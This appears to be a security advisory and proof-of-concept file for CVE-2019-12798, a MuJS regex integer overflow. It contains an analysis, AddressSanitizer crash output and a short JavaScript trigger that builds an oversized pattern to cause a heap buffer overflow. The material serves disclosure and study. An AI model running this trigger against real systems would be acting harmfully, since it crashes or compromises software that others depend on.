/*

Artifex MuJS regcompx pattern Integer Overflow Remote Code Execution Vulnerability
CVE-2019-12798
SRC-2019-0057

### Summary:

An integer overflow can occur when processing specially crafted regex strings that can result in a heap based buffer overflow. An attacker can leverage this to achieve remote code execution.

### Analysis:

817: Reprog *regcompx(void *(*alloc)(void *ctx, void *p, int n), void *ctx,
818:    const char *pattern, int cflags, const char **errorp)
819: {
820:    struct cstate g;
821:    Renode *node;
822:    Reinst *split, *jump;
823:    int i, n;
824: 
825:    g.pstart = NULL;
826:    g.prog = NULL;
827: 
828:    if (setjmp(g.kaboom)) {
829:        if (errorp) *errorp = g.error;
830:        alloc(ctx, g.pstart, 0);
831:        alloc(ctx, g.prog, 0);
832:        return NULL;
833:    }
834: 
835:    g.prog = alloc(ctx, NULL, sizeof (Reprog));
836:    if (!g.prog)
837:        die(&g, "cannot allocate regular expression");
838:    n = strlen(pattern) * 2;
839:    if (n > 0) {
840:        g.pstart = g.pend = alloc(ctx, NULL, sizeof (Renode) * n);
841:        if (!g.pstart)
842:            die(&g, "cannot allocate regular expression parse list");
843:    }

We can see that the overflow happens from sizeof (Renode) * n where n is the length of our pattern twice over. The size of Renode is 32 so if we provide a pattern of say, length 67108869 we can do this: (67108869*2)*32 = 0x100000140. So essentially, the g.pend buffer will be of size 0x140 or 320 bytes, which will trigger "undefined" behaviour. That behaviour is actually a heap based buffer overflow when calling parsealt on line 854.

### Proof of Concept:

steven@debian:~/mujs/mujs$ build/sanitize/mujs ~/mujs/poc.js
=================================================================
==9530==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200000bd00 at pc 0x563ad960273b bp 0x7fff92f01860 sp 0x7fff92f01858
WRITE of size 1 at 0x61200000bd00 thread T0
    #0 0x563ad960273a in newnode /home/steven/mujs/mujs/regexp.c:409
    #1 0x563ad9602dfa in parseatom /home/steven/mujs/mujs/regexp.c:465
    #2 0x563ad9603749 in parserep /home/steven/mujs/mujs/regexp.c:537
    #3 0x563ad9603af5 in parsecat /home/steven/mujs/mujs/regexp.c:561
    #4 0x563ad9603c4c in parsealt /home/steven/mujs/mujs/regexp.c:573
    #5 0x563ad96056e2 in js_regcompx /home/steven/mujs/mujs/regexp.c:868
    #6 0x563ad95e6983 in js_newregexp /home/steven/mujs/mujs/jsregexp.c:19
    #7 0x563ad95e792a in jsB_new_RegExp /home/steven/mujs/mujs/jsregexp.c:147
    #8 0x563ad95f0486 in jsR_callcfunction /home/steven/mujs/mujs/jsrun.c:1037
    #9 0x563ad95f1154 in js_construct /home/steven/mujs/mujs/jsrun.c:1106
    #10 0x563ad95f49f0 in jsR_run /home/steven/mujs/mujs/jsrun.c:1502
    #11 0x563ad95f022b in jsR_callscript /home/steven/mujs/mujs/jsrun.c:1020
    #12 0x563ad95f0ce5 in js_call /home/steven/mujs/mujs/jsrun.c:1075
    #13 0x563ad95f697e in js_dofile /home/steven/mujs/mujs/jsstate.c:205
    #14 0x563ad9609af4 in main /home/steven/mujs/mujs/main.c:338
    #15 0x7f3bfcace2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
    #16 0x563ad95ae929 in _start (/home/steven/mujs/mujs/build/sanitize/mujs+0x16929)

0x61200000bd00 is located 0 bytes to the right of 320-byte region [0x61200000bbc0,0x61200000bd00)
allocated by thread T0 here:
    #0 0x7f3bfd460090 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc2090)
    #1 0x563ad95f5e97 in js_defaultalloc /home/steven/mujs/mujs/jsstate.c:16
    #2 0x563ad9605586 in js_regcompx /home/steven/mujs/mujs/regexp.c:854
    #3 0x563ad95e6983 in js_newregexp /home/steven/mujs/mujs/jsregexp.c:19
    #4 0x563ad95e792a in jsB_new_RegExp /home/steven/mujs/mujs/jsregexp.c:147
    #5 0x563ad95f0486 in jsR_callcfunction /home/steven/mujs/mujs/jsrun.c:1037
    #6 0x563ad95f1154 in js_construct /home/steven/mujs/mujs/jsrun.c:1106
    #7 0x563ad95f49f0 in jsR_run /home/steven/mujs/mujs/jsrun.c:1502
    #8 0x563ad95f022b in jsR_callscript /home/steven/mujs/mujs/jsrun.c:1020
    #9 0x563ad95f0ce5 in js_call /home/steven/mujs/mujs/jsrun.c:1075
    #10 0x563ad95f697e in js_dofile /home/steven/mujs/mujs/jsstate.c:205
    #11 0x563ad9609af4 in main /home/steven/mujs/mujs/main.c:338
    #12 0x7f3bfcace2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/steven/mujs/mujs/regexp.c:409 in newnode
Shadow bytes around the buggy address:
  0x0c247fff9750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9770: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff9780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff9790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff97a0:[fa]fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff97b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff97c0: 00 00 00 00 00 00 00 00 00 02 fa fa fa fa fa fa
  0x0c247fff97d0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c247fff97e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c247fff97f0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9530==ABORTING

*/

var s = 'A';
for(var i=0;i<26;i++) {
  s = s+s;
}
s = '[A-Z]'+s;

// s is now 67108869 in length
r = new RegExp(s);